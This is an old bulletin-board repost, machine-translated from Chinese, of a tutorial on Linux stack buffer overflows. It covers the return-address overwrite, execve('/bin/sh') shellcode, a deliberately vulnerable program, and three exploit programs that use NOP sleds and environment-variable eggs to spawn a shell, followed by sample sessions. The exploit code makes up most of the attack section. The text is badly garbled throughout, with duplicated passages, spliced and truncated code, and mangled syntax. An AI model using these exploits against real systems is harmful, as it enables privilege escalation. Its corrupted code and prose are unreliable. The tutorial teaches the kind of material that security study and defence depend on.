BBS Shuimu Tsinghua Station: Essence
Sender: YYH (Ah Huan & 2000 is finally arrived), the letter area: Linux
Title: ISBase Technical Guide (1) - Buffer overflow,
Sending station: BBS Shuimu Tsinghua Station (Sun Dec 12 22:08:30 1999)
Title: ISBase Technical Guide (1)
------------- [Introduction
In this guide, we will discuss what is buffering overflow and how to use it. You must understand the C language
Words and assembly languages, if you are familiar with GDB, it is better, of course, this is not necessary.
------------- [Memory Structure
(Memory Organization) memory is divided into 3 parts
1. Text area (program area)
This section is used to store program instructions. So, this area is labeled as read-only, any written
Operation will cause errors.
2. Data area
This part stores static variables, and its size can be changed by the BRK () system call.
3. Stack
The stack has a special property, which is the latest place in it, will be the first to be removed.
------------- [Introduction
In this guide, we will discuss what is buffering overflow and how to use it. You must understand the C language
Words and assembly languages, if you are familiar with GDB, it is better, of course, this is not necessary.
------------- [Memory Structure
(Memory Organization) memory is divided into 3 parts
1. Text area (program area)
This section is used to store program instructions. So, this area is labeled as read-only, any written
Operation will cause errors.
2. Data area
This part stores static variables, and its size can be changed by the BRK () system call.
3. Stack
The stack has a special property, which is the latest place in it, will be the first to be removed.
Stack of stacks. In computer science, this is usually referred to in the first out (LIFO). Stack is designed
It is used to use functions and procedures. A process changes the execution process of the program during the execution process, this
Point and Jump are a bit similar. But with Jump is different, it is returned after completing his instruction.
Point, the return address is set in the stack before the process is called.
It is also used to dynamically allocate variables in the function, as well as the parameters of the function and the return value.
------------- [Return Address and Instruction Pointer
The computer executes an instruction and retains the pointer (IP) that points to the next instruction. When the function or process is called
At the time, the command pointer that was previously retained in the stack will be used as the return address (RET). After the execution is complete,
RET will replace IP, and the program will continue to perform the original process.
------------- [A buffer overflow
Let us use an example to explain the following buffer overflow.
< > buffer / example.c
Void main () {
CHAR BIG_STRING [100];
CHAR SMALL_STRING [50];
MEMSET (BIG_STRING, 0X41, 100);
/ * STRCPY (Char * to, char * from) * /
STRCPY (small_string, big_string);
<-> end of example.c
This program uses two arrays, and MEMSET () adds characters 0x41 (= a) to array BIG_STRINGS.
Then it adds BIG_STRING to Small_String. It is obvious that array Small_String cannot accommodate
100 characters, therefore, overflow generation.
Next we look at the changes in the memory:
[BIG_STRING] [small_string] [sfp] [RET]
In overflow, the SFP (STACK FRAME POINTER "stack pointer and RET return address will be overwritten by A.
This means that the RET is to be 0x41414141 (0x41 is a hexadecimal value). When the function is returned, the instruction pointer will be replaced with the RET replacement. Next, the computer will try go with
Execute instructions at 0x41414141. This will lead to segment conflicts because this address has exceeded processing.
-------------------- [Discover Vulnerabilities
Now we know that we can change the normal flow of the program by overwriting RET, we can experiment.
Not covered with A, but use some special addresses to achieve our goal.
------------ [Execution of any code
Now we need something to point to the address and execute. In most cases, we need to generate a
Shell, of course, this is not the only way.
BEFORE:
Fffff Bbbbbbbbbbbbbbbbbbbb eeee rrrr ffffffffff
B = the buffer
E = Stack Frame Pointer
R = Return Address
F = Other Data
After:
Ffffff ssssssssssssssssssssssssssaaaaaaaaaafffffffff
S = shellcode
A = address pointing to the shellcode
F = Other Data
Use C to generate the code of the shell as follows:
< > buffer / shell.c
Void main () {
Char * name [2];
Name [0] = "/ bin / sh";
Name [1] = 0x0;
Execve (Name [0], Name, 0x0);
exit (0);
}
<-> end of shellcode
Here we don't plan to explain how to write a shellcode because it requires a lot of compilation.
Knowledge. That will deviate from the topic we discussed. In fact, there are many shellcode can be used by us. For that
Some people who want to know how to generate, can be done according to the following steps:
- Use the -static flag switch to compile the above program
- Use GDB to open the above program, then use the "disassemble main" command
- Remove all unnecessary code
- Use assembly to rewrite it
- Compile, then use GDB to open, command with "disassemble main" command
- Use the X / BX command in the command address to find HEX-CODE.
Or you can use these code
Char shellcode [] =
"/ XEB / X1F / X5E / X89 / X76 / X08 / X31 / XC0 / X88 / X46 / X07 / X89 / X0B"
"/ x89 / x08 / x8d / x56 / x0c / xcd / x80 / x31 / xdb / x89 / xd8 / x40 / xcd"
"/ x80 / xe8 / xdc / xff / xff / xff / bin / sh";
"/ x89 / x08 / x8d / x56 / x0c / xcd / x80 / x31 / xdb / x89 / xd8 / x40 / xcd"
"/ x80 / xe8 / xdc / xff / xff / xff / bin / sh";
------------ [Look for Address
When we try to overflow a buffer buffer, this program is looking for the address of this buffer.
The answer to this question is: For each program, the stack starts on the same address. So, as long as you know
Where is the address of this stack, we can guess the address of this buffer.
Below this program tells us the stack pointer of this program:
- Remove all unnecessary code - use assembly to override it
- Compile, then use GDB to open, command with "disassemble main" command
- Use the X / BX command in the command address to find HEX-CODE.
Or you can use these code
Char shellcode [] =
"/ XEB / X1F / X5E / X89 / X76 / X08 / X31 / XC0 / X88 / X46 / X07 / X89 / X0B"
"/ x89 / x08 / x8d / x56 / x0c / xcd / x80 / x31 / xdb / x89 / xd8 / x40 / xcd"
"/ x80 / xe8 / xdc / xff / xff / xff / bin / sh";
"/ x89 / x08 / x8d / x56 / x0c / xcd / x80 / x31 / xdb / x89 / xd8 / x40 / xcd"
"/ x80 / xe8 / xdc / xff / xff / xff / bin / sh";
------------ [Look for Address
When we try to overflow a buffer buffer, this program is looking for the address of this buffer.
The answer to this question is: For each program, the stack starts on the same address. So, as long as you know
Where is the address of this stack, we can guess the address of this buffer.
Below this program tells us the stack pointer of this program:
< > buffer / getsp.c
Unsigned long get_sp (void) {
__ASM __ ("MOVL% ESP,% EAX);
}
Void main () {
FPRINTF (stdout, "0x% x / n", get_sp ());
}
<-> end of getsp.c
------------ [Try the following example
< > buffer / hole.c
Void main (int Argc, char ** argv []) {
Char buffer [512];
IF (Argc> 1) / * OtherWise We Crash Our Little Program * /
STRCPY (Buffer, Argv [1]);
}
<-> end of hole.c
< > buffer / exploit1.c
#include
#define default_offset 0
#define default_buffer_size 512
Char shellcode [] =
"/ XEB / X1F / X5E / X89 / X76 / X08 / X31 / XC0 / X88 / X46 / X07 / X89 / X0B"
"/ x89 / x08 / x8d / x56 / x0c / xcd / x80 / x31 / xdb / x89 / xd8 / x40 / xcd"
"/ x80 / xe8 / xdc / xff / xff / xff / bin / sh";
Unsigned long get_sp (void) {
__ASM __ ("MOVL% ESP,% EAX");
}
Void main (int Argc, char * argv [])
{
Char * buff, * PTR;
Long * addr_ptr, addr;
INT offset = default_offset, bsize = default_buffer_size;
INT I;
IF (Argc> 1) BSIZE = ATOI (Argv [1]);
IF (Argc> 2) OFFSET = ATOI (Argv [2]);
IF (! (buff = malloc (bsize))) {Printf ("" can't allocate memory./n ");
exit (0);
}
AddR = get_sp () - offset;
Printf ("Using Address: 0x% X / N", ADDR);
PTR = BUFF;
Addr_ptr = (long *) PTR;
For (i = 0; i * (addr_ptr ) = addr; PTR = 4; For (i = 0; i * (PTR ) = shellcode [i]; BUF [BSIZE - 1] = '/ 0'; Memcpy (BUFF, "BUF =", 4); Putenv (BUFF); SYSTEM ("/ bin / bash"); } <-> end of exploit1.c Now we can guess Offset (bufferaddress = stackpointer offset). [HOSTS] $ EXPLOIT1 600 USING Address: 0xBfffff6c3 [Hosts] $ ./hole $ buf [HOSTS] $ EXPLOIT1 600 100 Using address: 0xBffffCe6 [Hosts] $ ./hole $ buf Segmentation Fault ETC. ETC. Just like what you know, this process is almost impossible, so we have to guess More accurate overflow address. In order to increase our chance, we can overflow from our buffer shellcode Plus the NOP (empty operation) instruction. Because we don't have to guess its precise overflow address. The NOP instruction is used to delay. If this overwritten return address pointer is in the NOP string, our code You can do it one step below. The content of the memory should be like this: Ffffff nnnnnnnnnnssssssssssssssssaaaaaaaaaffffffffff N = NOP S = shellcode A = address pointing to the shellcode F = Other Data We change the original code. < > buffer / exploit2.c #include #define default_offset 0 #define default_buffer_size 512 #define nop 0x90 Char shellcode [] = "/ XEB / X1F / X5E / X89 / X76 / X08 / X31 / XC0 / X88 / X46 / X07 / X89 / X0B" "/ x89 / x08 / x8d / x56 / x0c / xcd / x80 / x31 / xdb / x89 / xd8 / x40 / xcd" "/ x80 / xe8 / xdc / xff / xff / xff / bin / sh"; Unsigned long get_sp (void) { __ASM __ ("MOVL% ESP,% EAX"); } Void main (int Argc, char * argv []) { Char * buff, * PTR; Long * addr_ptr, addr; INT offset = default_offset, bsize = default_buffer_size; int i; IF (Argc> 1) BSIZE = ATOI (Argv [1]); IF (Argc> 2) OFFSET = ATOI (Argv [2]); IF (! (buff = malloc (bsize)))) Printf ("Can't Allocate Memory./N); exit (0); } AddR = get_sp () - offset; Printf ("Using Address: 0x% X / N", ADDR); PTR = BUFF; Addr_ptr = (long *) PTR; For (i = 0; i * (addr_ptr ) = addr; For (i = 0; i BUFF [I] = NOP; PTR = Buff ((BSIZE / 2) - (Strlen) (INT I; IF (Argc> 1) BSIZE = ATOI (Argv [1]); IF (Argc> 2) OFFSET = ATOI (Argv [2]); IF (! (buff = malloc (bsize)))) Printf ("Can't Allocate Memory./N); exit (0); } AddR = get_sp () - offset; Printf ("Using Address: 0x% X / N", ADDR); PTR = BUFF; Addr_ptr = (long *) PTR; For (i = 0; i * (addr_ptr ) = addr; For (i = 0; i BUFF [I] = NOP; PTR = BUFF ((BSIZE / 2) - (Strlen (shellcode) / 2); For (i = 0; i * (PTR ) = shellcode [i]; BUF [BSIZE - 1] = '/ 0'; Memcpy (BUFF, "BUF =", 4); Putenv (BUFF); SYSTEM ("/ bin / bash"); } <-> end of exploit2.c [HOSTS] $ EXPLOIT2 600 USING Address: 0xBfffff6c3 [Hosts] $ ./hole $ buf Segmentation Fault [HOSTS] $ EXPLOIT2 600 100 USING Address: 0xBffff Ce6Shellcode) / 2))))) For (i = 0; i * (PTR ) = shellcode [i]; BUF [BSIZE - 1] = '/ 0'; Memcpy (BUFF, "BUF =", 4); Putenv (BUFF); SYSTEM ("/ bin / bash"); } <-> end of exploit2.c [HOSTS] $ EXPLOIT2 600 USING Address: 0xBfffff6c3 [Hosts] $ ./hole $ buf Segmentation Fault [HOSTS] $ EXPLOIT2 600 100 Using address: 0xBffffCe6 [Hosts] $ ./hole $ buf #exit [hosts] $ In order to better improve our code, we put these shellcod to the environment variable. Then we will You can use this variable to overflow the buffer. This method can increase our chance. Use the setENV () letter Call and put shell [hosts] $ ./hole $ buf #exit [hosts] $ In order to better improve our code, we put these shellcod to the environment variable. Then we will You can use this variable to overflow the buffer. This method can increase our chance. Use the setENV () letter Call and send shellcode to the environment variable. < > buffer / exploit3.c #include #define default_offset 0 #define default_buffer_size 512 #define default_egg_size 2048 [HOSTS] $ EXPLOIT2 600 100 Using address: 0xBffffCe6 [Hosts] $ ./hole $ buf #exit [hosts] $ In order to better improve our code, we put these shellcod to the environment variable. Then we will You can use this variable to overflow the buffer. This method can increase our chance. Use the setENV () letter Call and put shell [hosts] $ ./hole $ buf #exit [hosts] $ In order to better improve our code, we put these shellcod to the environment variable. Then we will You can use this variable to overflow the buffer. This method can increase our chance. Use the setENV () letter Call and send shellcode to the environment variable. < > buffer / exploit3.c #include #define default_offset 0 #define default_buffer_size 512 #define default_egg_size 2048 #define nop 0x90 Char shellcode [] = "/ XEB / X1F / X5E / X89 / X76 / X08 / X31 / XC0 / X88 / X46 / X07 / X89 / X0B" "/ x89 / x08 / x8d / x56 / x0c / xcd / x80 / x31 / xdb / x89 / xd8 / x40 / xcd" "/ x80 / xe8 / xdc / xff / xff / xff / bin / sh"; Unsigned long get_esp (void) { __ASM __ ("MOVL% ESP,% EAX"); } Void main (int Argc, char * argv []) { Char * buff, * ptr, * EGG; Long * addr_ptr, addr; INT offset = default_offset, bsize = default_buffer_size; INT I, Eggsize = Default_EGG_SIZE; IF (Argc> 1) BSIZE = ATOI (Argv [1]); IF (Argc> 2) OFFSET = ATOI (Argv [2]); IF (Argc> 3) Eggsize = ATOI (Argv [3]); if (! (buff = malloc (bsize))) { Printf ("Can't Allocate Memory./N); EXIT (0); Code is sent to the environment variable. < > buffer / exploit3.c #include #define default_offset 0 #define default_buffer_size 512 #define default_egg_size 2048 #define nop 0x90 Char shellcode [] = "/ XEB / X1F / X5E / X89 / X76 / X08 / X31 / XC0 / X88 / X46 / X07 / X89 / X0B" "/ x89 / x08 / x8d / x56 / x0c / xcd / x80 / x31 / xdb / x89 / xd8 / x40 / xcd" "/ x80 / xe8 / xdc / xff / xff / xff / bin / sh"; Unsigned long get_esp (void) { __ASM __ ("MOVL% ESP,% EAX"); } Void main (int Argc, char * argv []) IF (! (buff = malloc (bsize)))) Printf ("Can't Allocate Memory./N); EXIT (0); Code is sent to the environment variable. < > buffer / exploit3.c #include #define default_offset 0 #define default_buffer_size 512 #define default_egg_size 2048 #define nop 0x90 Char shellcode [] = "/ XEB / X1F / X5E / X89 / X76 / X08 / X31 / XC0 / X88 / X46 / X07 / X89 / X0B" "/ x89 / x08 / x8d / x56 / x0c / xcd / x80 / x31 / xdb / x89 / xd8 / x40 / xcd" "/ x80 / xe8 / xdc / xff / xff / xff / bin / sh"; Unsigned long get_esp (void) { __ASM __ ("MOVL% ESP,% EAX"); } Void main (int Argc, char * argv []) { Char * buff, * ptr, * EGG; Long * addr_ptr, addr; INT offset = default_offset, bsize = default_buffer_size; INT I, Eggsize = Default_EGG_SIZE; IF (Argc> 1) BSIZE = ATOI (Argv [1]); IF (Argc> 2) OFFSET = ATOI (Argv [2]); IF (Argc> 3) Eggsize = ATOI (Argv [3]); IF (! (buff = malloc (bsize)))) Printf ("Can't Allocate Memory./N); exit (0); } IF (! (egg = malloc (eggsize))) { Printf ("Can't Allocate Memory./N); exit (0); } AddR = get_ESP () - offset; Printf ("Using Address: 0x% x / n", addr; PTR = BUFF; Addr_ptr = (long *) PTR; For (i = 0; I} IF (! (egg = malloc (eggsize))) { Printf ("Can't Allocate Memory./N); exit (0); } AddR = Get_ESP () - offset; Printf ("Using Address: 0x% X / N", ADDR); PTR = BUFF; Addr_ptr = (long *) PTR; For (i = 0; i * (addr_ptr ) = addr; PTR = EGG; For (i = 0; I * (PTR ) = NOP; For (i = 0; i * (PTR ) = shellcode [i]; BUF [BSIZE - 1] = '/ 0'; Egg [Eggsize - 1] = '/ 0'; Memcpy (EGG, "BUF =", 4); Putenv (EGG); Memcpy (BUFF, "RET =", 4); Putenv (BUFF); SYSTEM ("/ bin / bash"); } End of exploit3.c [HOSTS] $ EXPLOIT2 600 Using address: 0xBfffff5d7 [Hosts] $ ./hole $ rete #exit [hosts] $ -------------------- [Look for overflow Of course, you can more accurately find a buffer overflow, that is, read it. Because Linux is a The system, you can easily get its source program. * (addr_ptr ) = addr; PTR = EGG; For (i = 0; I * (PTR ) = NOP; For (i = 0; i * (PTR ) = shellcode [i]; BUF [BSIZE - 1] = '/ 0'; Egg [Eggsize - 1] = '/ 0'; Memcpy (EGG, "BUF =", 4); Putenv (EGG); Memcpy (BUFF, "RET =", 4); Putenv (BUFF); SYSTEM ("/ bin / bash"); } End of exploit3.c [HOSTS] $ EXPLOIT2 600 Using address: 0xBfffff5d7 [Hosts] $ ./hole $ rete #exit [hosts] $ -------------------- [Look for overflow Of course, you can more accurately find a buffer overflow, that is, read it. Because Linux is a The system you can easily get it. Find a library function call without a boundary check, such as: structf (), strcat (), sprintf (), vSprintf (), scanf (). Other dangerous functions such as: Getc () and getchar () in the "model" cycle. The error use of the strncat function. --------------------[ references Smashing the stack for fat and profit by aleph1 Bufferoverflows by Mudge *********************************************************** ** By Lamagra Access- granted@geocities.com> Repaired by solo < Soloist@188.net> Copyright by Isbase Http://www.isbase.com/ *********************************************************** ** To reprint, please keep the integrity of the article Welcome to our site http://www.isbase.com Green Corps gives you safe guarantee - ※ Source: · BBS Shuimu Tsinghua Station bbs.Net.tsinghua.edu.cn · [From: 162.105.17.237] BBS Shuimu Tsinghua Station: Essence Copyright Notice: 9CBS is this BLOG managed service provider. If this paper involves copyright issues, 9CBS does not assume relevant responsibilities, please contact the copyright owner directly with the article Author.